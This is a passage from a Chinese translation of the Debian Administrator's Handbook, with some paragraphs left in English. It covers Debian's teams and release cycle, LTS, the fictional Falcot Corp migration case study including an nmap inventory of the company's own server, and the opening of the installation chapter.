需要多个团队彼此合作才能够将程序包装起来：以<debian-qa@lists.debian.org> 为例，企图保证 Debian 计划的每个层面都达到既定的品质。<debian-policy@lists.debian.org> 根据各地的建议列出 Debian 政策。负责每个架构的团队 (<debian-architecture@lists.debian.org>) 编绎所有的软件包，若有需要，再改编供特定架构使用。

其他的团队管理最重要的软件为避免将重担放在单一团队上；在 C 程序库 <debian-glibc@lists.debian.org>，C 编绎器 <debian-gcc@lists.debian.org> 邮件列表，或 Xorg <debian-x@lists.debian.org> (此社区以 X Strike Force 闻名)。

1.4. 跟踪 Debian 最新消息

如前所述，Debian 计划以极为分散、有机的方式进行。结果是，必须痛苦地读取无止尽的消息才能保持与计划连系。

订阅 <debian-announce@lists.debian.org> 邮件列表是获知 Debian 重要消息的方法。此邮件列表的流量极低 (每年只有十来个消息)，只提供最重要的通知，诸如新版发布消息、选举新的计划领导人、或 Debian 年度会议。

→ https://lists.debian.org/debian-announce/

有关 Debian 的一般（与定期）新闻会经由 <debian-news@lists.debian.org> 邮件列表发送。其流量尚可（通常每月数条消息），其中也包括半定期的“Debian 计划快讯”，它提供了对计划内发生的各种杂项事务的编集。

→ https://lists.debian.org/debian-news/

社区 公关团队

Debian 的官方沟通渠道由公关团队的志愿者管理。团队作为 Debian 计划领导人的代表发布官方的新闻和通知。也有许多其他志愿者在为该团队作出贡献，例如编写“Debian 计划快讯”的内容、编写 Debian 官方博客（bits.debian.org）或微博客（micronews.debian.org）。微博客消息会同步发布在在社交媒体上。

→ https://wiki.debian.org/Teams/Publicity

如需了解 Debian 的演化过程与各团队的运作历史，请参见 <debian-devel-announce@lists.debian.org> 邮件列表。如其名称所示，其内容较适合开发者的口味，但也适合关心稳定版以外版本开发过程的人。<debian-announce@lists.debian.org> 提供用户可见的结果，<debian-devel-announce@lists.debian.org> 则提供开发信息告知这些结果的产生方式。另外，“d-d-a”列表（如其名所示）是 Debian 开发者必须订阅的邮件列表。

→ https://lists.debian.org/debian-devel-announce/

Debian 的官方博客（bits.debian.org）也是一个获取信息的好来源。这里会涵盖一些前面提到的邮件列表里的有趣的新闻以及其他社区成员贡献的重要的新闻。因为所有的 Debian 开发者都能把他们认为值得公开分享的内容贡献到这里，Debian 的官方博客在相对集中在总体项目的基础上又提供了有价值的洞见。

另外，还可以在 Planet Debian（Debian 星球）网站上找到更多非正式的信息来源。该网站聚合了 Debian 贡献者在他们各自博客上编写的文章。其内容不局限于 Debian 的开发，还包括了社区的活动与成员的动态。

→ https://planet.debian.org/

The project is also well represented on social networks. Debian only has an official presence on Identi.ca (microblogging platform, powered by pump.io), but there are some accounts retransmitting the RSS feed from micronews.debian.org and many Debian contributors who are posting on non-official accounts.

→ https://identi.ca/debian

→ https://twitter.com/debian

→ https://www.facebook.com/debian

→ https://www.flickr.com/groups/debian

→ https://www.linkedin.com/company/debian

1.5. 发行版的角色

GNU/Linux 发行版的两个主要目标：在电脑上安装自由的操作系统 (单独存在，或是和其他操作系统同时存在)，以及提供满足用户需求的各种软件。

1.5.1. 安装器：debian-installer

debian-installer，以极度模块化设计以便尽量通用，针对前述的第一个目标。含盖极为广泛的安装环境，能够支持特殊个案的安装器。

模块化，让情况很复杂，开发者极难发掘此工具；但在图形化或文本模式下，用户的经验仍然差不多。花了极大的力气减少安装所需的问题，特别感谢自动侦测硬件的软件。

值得注意的是 Debian 的衍生发行版在这个层面上有很大的不同，提供有限的安装方式 (通常只限 i386 或 amd64 架构两种)，但对初入门者更为友善。另一方面，它们通常会避免偏离太远的软件包，以便尽可能利用 Debian 提供的广大软件而不致于发生兼容性问题。

1.5.2. 软件库

以数量论，Debian 因提供超过 31,000 个源码包而无疑处于领导地位。以质量论，Debian 的政策及发布前的冗长测试期确保了发布版本的稳定与一致行。从可用性的角度来看，所有的软件都可以经由全球多个镜像站在线取得，每6小时就更新一次。

大部分新的自由软件自有办法找到门路在安装时自动纳入。若因依赖性的问题而需要太多的更新，可以为 Debian 的稳定版重新编译 (此议题的详情参见 第 15 章 创建 Debian 软件包)。

1.6. 发布周期

Debian 计划的每个程序同时有 6 个不同版本，实验、不稳定、测试、稳定、旧稳定、与 极旧稳定。每个版本都有自己的发展流程。为了了解起见，先看看程序的发展过程，由最初的包装至纳入 Debian 的稳定版。

术语 发布

「release」一词，在 Debian 项目中，系指发行版的特定发行版本 (如：「unstable release」代表的是「尚未稳定的版本」)。这个词语也用于代表软件新版本 (stable 稳定版) 的初次公开发表。

1.6.1. 实验状态

首先看看 实验 发行的特例：对应于还在开发中的 Debian 软件包，不必已做完，其名称已说明一切。还没有全部通过此阶段；部分开发者加入软件包为了得到有经验 (或勇敢) 用户的回馈。

否则，此发行版通常会将重大修改纳入基础软件软件包中，因为一旦集成进 Unstable 不稳定版中的软件有重大漏洞，可能导致不堪设想的后果。因此，它是完全隔绝且独立的发行版，其软件包绝不会移入其他版本中 (除非有情况需要维护者或 ftp 管理者直接、快速干预)。它也不能自我纳入：仅既有软件包的部分子集具有 Experimental 实验版，通常不包括基础系统。此发行版因此会与其他能自我纳入的发行版一同搭配使用，例如 Ustable 版。

1.6.2. 不稳定状态

让我们回到典型软件软件包的例子。维护者制作出最初的软件包，编绎给 Unstable 版使用并置于 ftp-master.debian.org 服务器上。这个动作会先经过 ftp 管理员的审阅与验证，再放到 Unstable 发行版中；对于那些比起重大问题更关心软件是否处于最新状态的用户而言，这就是“时下最新”的发行版。他们会探索程序并协助测试。

碰到错误后，向软件包维护者报告。维护者会定期准备修正版，然后再上传至服务器。

Every newly updated package is updated on all Debian mirrors around the world within six hours. The users then test the corrections and search for other problems resulting from the modifications. Several updates may then occur rapidly. During these times, autobuilder robots come into action. The maintainer uploads the package sources (without any precompiled package). The autobuilders take over and automatically compile versions for all supported architectures. Some compilations may fail; the maintainer will then receive a bug report indicating the problem, which is then to be corrected in the next versions. When the bug is discovered by a specialist for the architecture in question, the bug report may come with a patch ready to use.

图 1.2. 由自动创建者编译的软件包

快速查看 buildd，Debian 软件包再编译者

buildd是 “build daemon” 的缩写。在指定的架构自动编译Debian软件包的程序(尽量避免跨平台)。

因此，arm64 机器专门为 arm64 架构创建二进制文件。buildd 程序从 Debian 开发者的原始软件包里持续产生 arm64 架构的二进制软件包。

Debian所有的电脑都能使用此自动创建器。扩大而言，buildd 一词常用于这些机器，仅供此目的使用。

1.6.3. 迁移至测试

稍后，软件包略为成熟后；编译全部的架构，不再发生新的修订。才能成为测试版的候选 — 基于某些标准供不稳定软件包使用。根据以下的品管保证细目，每天都有程序被自动选入测试版：

1. 在所有官方支持的架构里编绎成功;

2. 没有严重错误，或至少是比目前版本较少错误的将纳入到测试版;

3. 至少置于不稳定 版中5天；这段时间通常足够发现与报告任何严重的问题（如软件包提供了测试样例且测试样例通过，所需时间可以更短）；

4. 满足测试版对依赖关系的要求，或至少能够与其他有问题的软件包共同迁移；

5. 自动化软件包质量测试（autopkgtest）——如果已定义的话——未出现任何异常。

此系统不是万无一失的；在测试版中也经常发现软件包的严重错误。虽然如此，目前的整个流程还是很有效的，且测试版的问题远远少于不稳定版。对很多人来说，是稳定与新鲜之间的折衷选择。

说明测试版的局限性

很有趣的原则，测试版应没有实际的问题：软件包的跨平台依赖性很难独立完成。软件包彼此依赖，必须同时殖入大量的软件包，事实上很难同时殖入定期更新的软件包。另一方面，很难制作用于辨认相关软件包系列的脚本(这是 NP 完备的问题，还好我们知道若干方法)。以手动方式与脚本交互并指引若干可能的软件包，或纳入指定软件包于群组内，即使此方法打破若干依赖性。这些功能由发布经理及其团队负责。

NP 完整性问题是复杂的指数算法，与数据量、代码长度(图表的量)与涉入的元素有关。唯一的解决方案是时时查看所有可能的配置，可能需要很多方法。尝试法是一种接近，但满意的，解决方案。

社区 发布管理员

发布管理员是个重要的职位，责任很重。担任此职的人将会处理 Debian 的新稳定版相关问题，并设置开发当前测试版的进程，直到其满足成为稳定版的质量要求。管理员同时还会预设开发时间表（但并不总是严格遵守）。

我们还有稳定版发布管理员(Stable Release Managers)，简称为 SRM。他们管理并选择纳入 Debian 当前稳定版的更新软件包，以逐案讨论的方式系统地接纳由 Debian 开发者建议纳入的安全补丁并审核所有其它提议更新的建议。

1.6.4. 从测试版至稳定版

假设我们的软件包已经纳入测试版。只要还有改进的空间，其维护者必然奋力改进之并从不稳定版（以后纳入测试版就快多了：除非发生极大的变化，其依赖的其它软件包已存在而无需投入更多精力）重新来过。达到阶段性成果后，维护者便告一段落。下个步骤是将其纳入稳定版发行；这实际上只是在某个发布管理员决定时间节点上将测试版的内容纳入而已。理想的情况下，在这个发布的时间节点上新版安装器已准备完成，且测试版没有严重的错误。

实际上，还没有真的进入稳定版，Debian 必须妥协：移除维护者无法更正错误的软件包、或容许在数千个程序中还有几个错误。发布经理曾声明冻结期间，想被纳入测试版更新必须通过认可的进程。其目标是避免新版本(及其新错误)，与只有被认可的错误修订。

图 1.3. 软件包通过多个 Debian 版本的途径

术语 冻结：最后一哩路

在冻结期，停止测试版的发展；不允许自动更新。只有发布经理授权的软件包，才能依照指示更新。其目的是避免新版本带新的错误；更正过的错误通过审查过的更新才能纳入。

发布新的稳定版本后，稳定版发行管理员会继续管理其后续的开发（称为 “修订版本”，如：第10版的修订版本为 10.1、10.2、10.3）。这些更新会系统地纳入安全补丁，其中也包括对重要问题的更正（软件包的维护者必须证明问题的严重性才可能将这些修改纳入）。

最后，我们假设的软件包已经纳入稳定发行版中。这道进程，必须费上好一翻功夫，这正说明新 Debian 稳定发行版之间的间隔为何如此之久。毕竟也是如此，Debian 才能获得其高品质的名声。此外，同时间这三种发行版本都吸引了各自的用户群。比起最新版的 GNOME，服务器的系统管理员更在意系统稳不稳定，因此他们会选择 Debian Stable 稳定版来满足其需求。至于比起坚若磐石的稳定性更在意是否为最新版 GNOME 或 KDE Plasma 的最终用户，或许会喜欢 Debian Testing 测试版，在相对新颖的软件版本和较少发生重大问题之间折衷。最后，开发者和有经验的用户，可能自愿在 Debian Ustable 不稳定版中的丛林小径中披荆斩棘，一边测试 Debian 中的最新发展，一边承受感到头痛之苦与遭遇任何新程序漏洞的风险。各自选择各自的 Debian！

文化 GNOME 与 KDE Plasma，图形桌面环境

GNOME（原意为 GNU 网络对象模型环境）和 KDE （以前被称为 K 桌面环境）的 Plasma 是自由软件世界中最受欢迎、最负盛名的图形化桌面环境，后面的章节将提供详细的说明：第 13.3 节 “图形桌面”。

桌面环境系指以图形界面方式提供系统管理和常用操作支持的软件集合。它们通常包括文件管理器、办公软件包、网页浏览器、电子邮件收发程序、多媒体播放等工具。主要差别在于图形程序库的选择：GNOME 选用 GTK+（以 LGPL 授权的自由软件），而 KDE 社区采用了 Qt（以 GPL 与商业许可证双授权的公司支持的项目）。

→ https://www.gnome.org/

→ https://kde.org/

图 1.4. Debian 所打包软件的时间顺序图表

1.6.5. 旧稳定版与老旧稳定版状态

每个稳定版预计有五年寿命，每二年发行新的稳定版，同一时间最多可有三个支持的稳定版在流通。新的稳定版发布时，前个版本就变成旧稳定版而更早的就成为老旧稳定版。

Debian 的长期支持版 (This Long Term Support, LTS) 是新的成员：由独立的奉献者及公司联合的 Debian LTS 团队完成。Debian 安全团队不再维护旧的版本。

Debian 安全团队处理当前稳定版以及旧稳定版的安全事宜（但对旧稳定版来说仅包括第一年）。每个发布大约只维护3年。Debian LTS 团队提供最后两年的安全维护支持，所以每个发布至少有5年的支持，在这 5 年内，用户可以将系统版本从 N 升级到 N+2，例如从 Debian 9 Stretch 到 Debian 11 Bullseye。

→ https://wiki.debian.org/LTS

社区支持 LTS 的公司

Debian 的长期支持承诺颇为困难，因为志愿者意图规避无趣的工作。对于旧软件的5年安全维护 对大部分奉献者而言是很无聊的事情，远不如去打包新上游或者开发新特性。

长期支持版的问世，有赖于参与公司愿意分享安全维护的成本。

此计划始于2014年六月：部分组织同意雇员以兼职方式对 Debian 的长期支持版做出贡献；其他的赞助者则愿意付钱赞助，因此这些 Debian 的贡献者可以取得报酬而不是无偿工作。一部分愿意为长期支持版有偿工作的 Debian 贡献者组织了起来并在 Freexian（Raphaël Hertzog 的公司）的赞助下开展工作：

→ http://www.freexian.com/services/debian-lts.html

在 Debian 长期支持团队中，志愿者们针对在他们感兴趣的软件包开展工作。同时，受雇会得到报酬的贡献者会优先考虑处理赞助方所使用的软件包。

此计划也在持续寻求新的赞助者：本书读者所在的公司有兴趣吗？愿意让雇员兼职为长期支持版工作吗？可以赞助安全维护的经费吗？

→ https://wiki.debian.org/LTS/Funding

第 2 章 案例呈现

在这本手册的情境中，你是一名发展中的小企业的系统管理员。在与主管的合作下，你将重订来年信息系统的总体规划。出于经济和实用性的原因，你决定将系统逐步迁移到 Debian。让我们仔细看看前方有什么在等待着你……

我们虚构了这个案例以实现一个中型公司目前所使用的所有现代信息服务。在阅读本书之后，你将拥有将 Debian 安装至服务器上所要求的所有必备技能并展翅高飞。你也将学习如何在难题出现时有效地找到信息。

2.1. 高速增长的IT需求

Falcot Corp 是高质量音频设备的生产商。公司的增长十分强劲并拥有两处设施，一个在 Saint-Étienne，另一个在 Montpellier。前者有着约150名员工并包括一个生产扬声器的工厂，一个设计实验室以及所有的管理层办公室。后者生产增幅器且只有约50名员工。

提醒：案例学习中Fictional company为虚构的公司

案例学习中的公司 Falcot Corp 是虚构出来的。如有雷同，纯属巧合。同样，该书中的某些样例数据也是虚构的。

现有的信息系统在面对公司增长时有些力不从心，所以他们决定完全重建它以达到管理层所制定的诸多目标：

- 现代化的，易伸缩的架构;

- 使用开源软件以减低成本;

- 架设电子商务站点，很有可能是 B2B （business to business ，即不同公司信息系统之间的连接，如供应商及其客户）;

- 显著改善的安全性，从而能够更好地保护有关新产品的商业机密。

在这些目标下，整个信息系统将被整修一新。

2.2. 总体规划

在你的协助下，IT 管理部门已经进行了一个稍稍广泛一些的研究，找到了一些限制并制定了一个计划以迁移到选定的开源系统，Debian。

一个很大的限制是会计部门使用特殊的，仅支持 Microsoft Windows™ 的软件。而实验室部分人员使用仅能在 OS X™ 上运行的CAD软件。

图 2.1. Falcot Corp 网络总览

向 Debian 的迁移将是循序渐进的。一个仅有有限工具的小企业不可能在一夜之间改变一切。最开始， IT 职员必须接受 Debian 系统管理的培训。然后服务器按从网络基础服务（路由、防火墙等）到用户服务（文件共享、Web、SMTP 等）的顺序转换。接下来，办公室计算机将逐步迁移到 Debian ，在新系统部署期间员工将接受部门内部的培训。

2.3. 为什么选择 GNU/Linux 发行版？

基本知识 Linux 还是 GNU/Linux ？

Linux ，正如你已经知道的，只是一个内核。因此“Linux 发行版”及“Linux 系统”并不是正确的表达：它们只是 基于 Linux 的发行版或系统。这些表达都没能提到由GNU 项目所开发的那些完善这个内核的软件。GNU 项目的发起者，Richard Stallman 坚持系统地使用“GNU/Linux”这个表达，从而更好地认可 GNU 项目作出的巨大贡献以及它的基石——自由主义。

Debian 选择去遵从这些推荐， 从而据此命名其发行版 （因此，最新的 stable 版本为 Debian GNU/Linux 11）。

诸多因素导致了这一选择。熟悉此发行版的系统管理员保证它被作为此次计算机系统升级换代的备选方案之一。困难的经济条件及残酷的竞争限制了升级的预算，尽管它对公司的未来有着至关重要的影响。这就是为什么开源方案被很快地采纳：最近的研究指出它们相比较于不开源的专有方案来说更加便宜，其质量并不低于专有方案，只要有训练有素的员工去运维这些开源项目。

实践 总体拥有成本

总体拥有成本（TCO）是指持有或获取一个物品所花费的金钱总额，在此处即指操作系统。它包括了任何可能的许可证花销，对使用新软件工作的员工的培训费用，更换过于缓慢的机器的费用以及额外的维修费用等等。任何从最初选择当中直接产生的花销都被计算在内。

总体拥有成本(TCO)根据其评估中选择的标准而变化，孤立地看没有意义。然而，如果根据相同的规则计算不同的选项的总体拥有成本并对其做对比则有意义。因此，该评估表至关重要，并且可轻易操纵它以便得出预定的结论。因此，单个机器的总体拥有成本没有意义，因为管理员的成本可分摊到他们管理的机器的总数中，机器数显然取决于操作系统和工具。

在免费操作系统中，IT部门研究了免费的BSD系统（OpenBSD，FreeBSD和NetBSD），GNU Hurd和Linux发行版。 GNU Hurd尚未发布稳定版本因此被即刻否决了。在BSD和Linux之间选择更简单。前者有很多优点，特别是在服务器上。然而，实用主义导致选择了Linux，因为其已安装的基数和普及性均有显著和大量的积极效应。比起BSD，更容易找到合格的人员管理Linux机器。此外，Linux适应新硬件的速度要快于BSD（尽管它们经常在这场比赛中经常是并驾齐驱的）。最后，Linux发行版通常更适合于用户友好的图形用户界面，对于初学者从办公机器迁移到新系统时是必不可少的。

替代选择 Debian GNU/kFreeBSD

从 Debian 6 Squeeze 起，可以在运行 FreeBSD 内核的 32 或 64 位电脑上使用 Debian；也就是 kfreebsd-i386 和 kfreebsd-amd64 架构。即使这些架构不是官方正式支持的架构（它们在一个独立的镜像-- ports.debian.org 机器上），它们也提供超过 60% 的由 Debian 打包的软件。

这些架构也许将成为 Falcot Corp 管理员的恰当之选，尤其是对于防火墙（内核支持三种不同的防火墙：IPF, IPFW, PF）或是NAS（网络附加存储系统，已测试和认可ZFS文件系统）。

2.4. 为什么选择 Debian 发行版？

一旦选择 Linux 系列的话，还需要做出一个更加细致，明确的决定。再重申一次，考虑的准则有很多。比如我们必须选择可以稳定运行数年的发行版，因为从一个发型版迁移到另一个发行版将使我们不得不承担额外的成本（尽管这个迁移成本成本比在两个完全不同的系统之间，如 Windows 和 OS X，的迁移要低许多）。

因此，可持续发展是必不可少的，它必须保证数年内定期更新和安全补丁。更新的时间也很重要，因为有了这么多的机器来管理，Falcot Corp不能太频繁地进行复杂的操作。因此，IT部门坚持运行最新的稳定的发行版，以得到最佳的技术援助，和获取有保证的安全补丁。实际上，对于较老的发行版本，只能保证在一个有限时间有安全更新。

最终，基于同质性及易管理等原因，所有的服务器及办公室计算机上都必须运行相同的发行版。

2.4.1. 商业及社区驱动发行版

Linux 发行版有两个主要分类：商业驱动和社区驱动。前者由公司开发，与商业支持服务一同被销售；后者则是基于其所包含的自由软件相同的开放开发模型而开发。

一个商业发行版因此将会有更加频繁地发行新版本的倾向，从而改善市场更新及相关服务。它们的未来将与公司的业绩直接相连，而且，它们当中的许多已经消失了（Caldera Linux, StormLinux, Mandriva Linux 等）。

一个社区发行版除了它自己以外并无其他的时间表可循。就如同 Linux 内核一样，新的版本将在它稳定之后再发布，永远不会提前。只要有足够的个人及第三方公司支持它，它的存在就有保证的。

诸多 Linux 发行版之间的对比使得我们有如下选择 Debian 的理由：

- 这是一个社区发行版，发展独立于任何商业限制；因此其目标基本上是技术性质的，这有利于产品的整体质量。

- 在所有社区发行版中，从许多角度来看，它是最重要的：贡献者数量，可用软件包数量和持续存在的年数。社区的规模是其连续性的无可争议的证明。

- 统计上讲，新版本每隔约18至24个月发布，支持期为5年，这正是一个管理员们所认同的时间表。

- 一项针对法国自由软件服务公司的调查显示，所有参与调查的公司都提供 Debian 的技术协助，同时，它们内部所使用的发行版也基本上都是 Debian。潜在服务提供者的多样性将是 Falcot Corp 能自给自足的一个重要原因。

- 最后，Debian 支持为数众多的架构，这当中包括 OpenPOWER 处理器的 ppc64el。因此，它可以安装在 Falcot Corp 最新的 IBM 服务器上。

实践 Debian 的长期支持

Debian的长期支持（LTS）项目于2014年启动，旨在为所有的 Debian 稳定发行版提供5年的安全支持。由于 LTS 对大量部署 Debian 的组织极其重要，所以我们的项目试图从使用 Debian 的公司汇集资源。

→ https://wiki.debian.org/LTS

Falcot 公司没有大到可以让其 IT 员工为 LTS 项目做贡献，因此该公司选择订阅 Freexian 的 Debian LTS 合同并对 Freexian 提供财务支持。由于这份合同，Falcot 管理员知道他们使用的包将被优先处理，当有问题时他们能直接联系到 LTS 团队。

→ https://wiki.debian.org/LTS/Funding

→ https://www.freexian.com/services/debian-lts.html

当我们选择了 Debian 之后，剩下的就是选择哪个版本了。让我们看看为什么管理员选择了 Debian Bullseye。

2.5. 为什么选择 Debian Bullseye？

每一个Debian发行版都是始于一个持续不断改进的版本，即众所周知的“Testing”. 在你阅读这些文字之时， Debian Bullseye 是 Debian 最新的“稳定版。

任何关心服务运行质量的管理员都自然而然地会倾向于稳定的 Debian 版本，基于此，选择 Debian Bullseye 就很合理了。即使之前的稳定版本可能仍然支持一段时间，Falcot 管理员不会考虑用它，因为它的支持周期不够长了，并且最新版本还带来了他们关心的新的有趣的特性。

第 3 章 分析当前设置与迁移

任何系统的彻底修检都应考虑到已有的系统。其中包括让尽可能多的资源复用，和保证组成系统的各个部分协调无碍。以下的学习案列会介绍一个将设备向 Linux 迁移的通用技术框架。

3.1. 在异构环境中共存

Debian能和既有的环境整合无碍，并和其他操作系统共存。这近乎完美的兼容来自市场的压力：市场要求软件发布者需要遵从一定的标准。接受这些标准让管理员能灵活替换各种程序，客户端或服务端，免费与否，都不是问题。

3.1.1. 和Windows机器整合

Samba's SMB/CIFS support ensures excellent communication within a Windows context. It shares files and print queues to Windows clients and includes software that allows a Linux machine to use resources available on Windows servers.

工具 Samba

最新版本的Samba可以替换Windows的大多数功能：它可以模拟成一个简单的Windows NT服务器开展工作（包括验证、文件分享、打印队列、下载打印机启动、分布式文件系统（DFS），等等），也可以支持一些最高级的服务功能（例如，作为与Active Directory兼容的域控制器工作）。

3.1.2. 和 macOS 机器整合

macOS 机器能够提供的网络服务包括文件共享及打印机共享。这些服务在本地网络中使用 Zereconf 协议软件包进行发布，并允许其他机器在没有手动配置的情况下自动发现设备。Debian 包括另外一个名为 Avahi 的实现，提供类似的服务。

另一方面， Netatalk 服务可用于在 macOS 机器上提供文件共享服务。它使用 AFP（AppleShare） 协议作为依赖以实现该服务在客户端自动发现。

OS X 之前的系统使用称为 AppleTalk 的协议。为了兼容使用此等协议的环境，Netatalk 也能提供 AppleTalk 协议 (实际上，是重实现该协议)。确保文件服务器、打印队列以及时间服务器 (时钟同步)的运作。它的路由器被设计允许与 AppleTalk 网络互联。

3.1.3. 与其他 Linux/Unix 设备集成

Finally, NFS (Network File System) and NIS (Network Information Service), both included, guarantee interaction with Unix systems. NFS ensures file server functionality, while NIS creates user directories. The BSD printing layer, used by most Unix systems, also allows sharing of print queues.

图 3.1. Debian 与 OS X，Windows，Unix 系统的共存

3.2. 如何迁移

In order to guarantee continuity of the services, each computer migration must be planned and executed according to the plan. This principle applies regardless of which operating system is used.

3.2.1. 流行度调查和身份识别服务

如你看到的，该步骤是必要的。一个严谨的管理员应当确切的知道每部服务器的确切角色，但是角色可以被改变，有时候有经验的用户会安装一些服务。了解这些服务的功能让你知道如何处理它，而不是粗暴的删除它们。

基于这个目的，迁移服务器前先告知用户是明智之举。把用户拉入计划里，在迁移前安装最常见的免费软件程序（比如LibreOffice 、Mozilla 套件）可能会很有用，在迁移到Debian之后它们会再次出现。

3.2.1.1. 网络与程序

nmap 工具 (在同名软件包中) 可以在未登录的前提下，快速地探测一台线上机器上运行着哪些互联网服务。只需在连接到同一网络的另一台计算机上调用以下命令：

$ nmap mirwiz

Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-29 14:41 CEST

Nmap scan report for mirwiz (192.168.1.104)

Host is up (0.00062s latency).

Not shown: 992 closed ports

PORT     STATE SERVICE

22/tcp   open  ssh

25/tcp   open  smtp

80/tcp   open  http

111/tcp  open  rpcbind

139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

5666/tcp open  nrpe

9999/tcp open  abyss

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

替代 使用 ss 以查找可用服务列表

在 Linux 机器里，ss -anptu 指令可显示活动中或传输中的 TCP 会话，以及运行中程序监听的 UDP 端口。这有助于识别机器上提供的服务。

更进一步 IPv6

有些网络指令可在 IPv4 (通常是缺省的) 或 IPv6 运行。包括 nmap 与 ss 指令；但是也有不同的命令，如 route 或 ip，需要使用 -6 参数启动它们。

If the server is a Unix machine offering shell accounts to users, it is interesting to determine if processes are executed in the background in the absence of their owner. The command ps auxw displays a list of all processes with their user identity. By checking this information against the output of the who or w commands, which give a list of logged in users, it is possible to identify rogue or undeclared servers or programs running in the background. Looking at crontabs (tables listing automatic actions scheduled by users) will often provide interesting information on functions fulfilled by the server (a complete explanation of cron is available in 第 9.7 节 “使用 cron 和 atd运行计划任务”).

任何状况下，都该先备份您的服务器：当在迁移后用户报告特定问题时，该备份可以用来恢复一些信息。

3.2.2. 备份配置

保留所有已知服务的配置以便在更新后的服务器上安装同等的服务。最低限度是制作配置文件的副本。

Unix 机器的配置档，通常在 /etc/ 文件夹内，有时放在 /usr/local/ 的子文件夹里。比如源码安装的程序，配置档就会放在前述的子文件夹内，有时候也被放在 /opt/ 。

在数据管理服务 (如数据库) 时，强烈建议以标准格式导出数据，更容易被新软件导入。通常是被组织的文本格式，比如一个从SQL数据库 dump 出的文件，或者一个从LDAP服务器导出的 LDIF 格式文件。

图 3.2. 备份数据库

每个服务器都不一样，这里无法详述所有个案。比较新旧软件的文档辨认可导出 (因此可以重新导入) 的部分以及需要人工处理的部分。此书阐述 Linux 服务器主要程序的配置。

3.2.3. 接手现有的 Debian 服务器

先分析正在运行 Debian 的机器，才能有效地接管维护工作。

第一个查看的文件是 /etc/debian_version，通常包括 Debian 系统的版本编号 (它是 base-files 软件包的一部分)。若以 代码/sid 方式呈现，表示此系统从该代码版本取得的最新版软件包 (测试版或不稳定版)。

apt-show-versions 程序 (来自 Debian 同名软件包) 检查已安装软件包的列表并标识可用的版本。aptitude 程序可以做到同样的工作，但是不是特别系统化。

查看 /etc/apt/sources.list 文件 (以及 /etc/apt/sources.list.d/ 文件夹) 可看到已安装 Debian 软件包的来源。若出现不明来源，管理员可能选择重新安装电脑系统确保其软件与 Debian 兼容。

The sources.list file is often a good indicator: the majority of administrators keep, at least in comments, the list of APT sources that were previously used. But you should not forget that sources used in the past might have been deleted, and that some random packages grabbed on the Internet might have been manually installed (with the help of the dpkg command). In this case, the machine is misleading in its appearance of being a “standard” Debian system. This is why you should pay attention to any indication that will give away the presence of external packages (appearance of deb files in unusual directories, package version numbers with a special suffix indicating that it originated from outside the Debian project, such as ubuntu or lmde, etc.).

同样的，分析 /usr/local/ 文件夹的内容，其目的是收录编译后与手动安装后的程序。列出以此方式安装的软件清单，指出一个问题，为什么不使用 Debian 对应的软件包。

QUICK LOOK cruft/cruft-ng, debsums, and apt-show-versions

cruft 和 cruft-ng 软件包列出未被其他软件包拥有的文件。它们有一些筛选器 (多数是有效的，但或多或少有点过时) 以避免报告合法的文件 (Debian 软件包产生的文件，或未被dpkg 管理的配置文件等)。

小心不要盲目地删除可能被 cruft 和 cruft-ng 列出的文件！

debsums 软件包允许将由软件包安装的每个文件的 MD5 哈希和与参考哈希和进行比较，并帮助确定，那些文件被改变，（请见 秘诀 查找更改的文件 ）。注意建立的文件 (Debian 软件包产生的文件，或未被dpkg 管理的配置文件等)不进行这个检查。

apt-show-versions软件包提供了工具来检查安装的软件包，而无需软件包源，并可以帮助确定第三方软件包（请参考第 6.7.3.1 节 “从Debian存档中删除包”）。

3.2.4. 安装 Debian

知道当前服务器的必要信息后，就可以关闭它并开始安装 Debian。

依照电脑的架构，选择适当的版本。近几年的 PC，很可能是 amd64 (稍旧的是 i386)。其他的情况，则依照安装的旧系统来判断。

表 3.1 不是完整的，但相当有用。注意，它列出了当前稳定发布中不再支持的 Debian 架构。任何情况下，电脑的原始文档是最有用的数据源。

表 3.1. 操作系统与架构对照表

操作系统

架构

DEC Unix (OSF/1)

alpha, mipsel

HP Unix

ia64, hppa

IBM AIX

powerpc

Irix

mips

OS X

amd64, powerpc, i386

z/OS, MVS

s390x, s390

Solaris, SunOS

sparc, i386, m68k

Ultrix

mips

VMS

alpha

Windows 95/98/ME

i386

Windows NT/2000

i386, alpha, ia64, mipsel

Windows XP / Windows Server 2008

i386, amd64, ia64

Windows RT

armel, armhf, arm64

Windows Vista / Windows 7-8-10

i386, amd64

硬件 64 位电脑 vs 32 位电脑

近年的电脑使用 64 位 Intel 或 AMD 处理器，兼容于稍旧的 32 位处理器；为 “i386” 架构编绎的软件也适用。从另个角度来看，此兼容的软件无法充分发挥新处理器的性能。所以 Debian 提供 “amd64” 架构的版本，针对最新的 AMD 芯片以及 Intel “em64t” 处理器 (包括大多数的 Core 系列)，它们极度类似 AMD64。

3.2.5. 安装与配置选定的服务

Debian 安装之后，我们需要各自安装并配置每台计算机上托管的服务。新的配置必须参考过去的配置才能确保转换的顺利。前述两个步骤的搜集信息对于完成此部分极为重要。

图 3.3. 安装指定的服务

全面进入此练习前，强烈建议您阅读本书其他部分。才能够较精准地了解对预期服务的配置方式。

第 4 章 安装

为了使用Debian，你需要把它安装到计算机上；这项任务涉及debian-installer程序。合理的安装涉及到许多操作。这章将按照时间顺序来介绍。

基本知识预备知识见附录

当你熟悉了计算机工作的方式，安装过程是很简单的。否则请移步到 附录 B, 简短辅导课程。

The installer for Bullseye is based on debian-installer. Its modular design enables it to work in various scenarios and allows it to evolve and adapt to changes. Despite the limitations implied by the need to support a large number of architectures, this installer is very accessible to beginners, since it assists users at each stage of the process. Automatic hardware detection, guided partitioning, and graphical user interfaces have solved most of the problems that novices used to face in the early years of Debian.

Installation requires 256 MB of RAM (Random Access Memory) and at least 2 GB of hard drive space. All Falcot computers meet these criteria. Note, however, that these figures apply to the installation of a very limited system without a graphical desktop. A minimum of 2 GB of RAM and 10 GB of hard drive space are really recommended for a basic office desktop workstation.

BEWARE Upgrading from Buster

If you already have Debian Bullseye installed on your computer, this chapter is not for you! Unlike other distributions, Debian allows updating a system from one version to the next without having to reinstall the system. Reinstalling, in addition to being unnecessary, could even be dangerous, since it could remove already installed programs.

升级过程会在 第 6.7 节 “升级至下个稳定发行版” 描述。

不支持直接从较老的 Debian 系统升级。在这种情况下，你需要将 Debian 逐步升级到下一个稳定版，以此类推。本书的前几版将在这个问题上为你提供帮助。

4.1. 安装方式

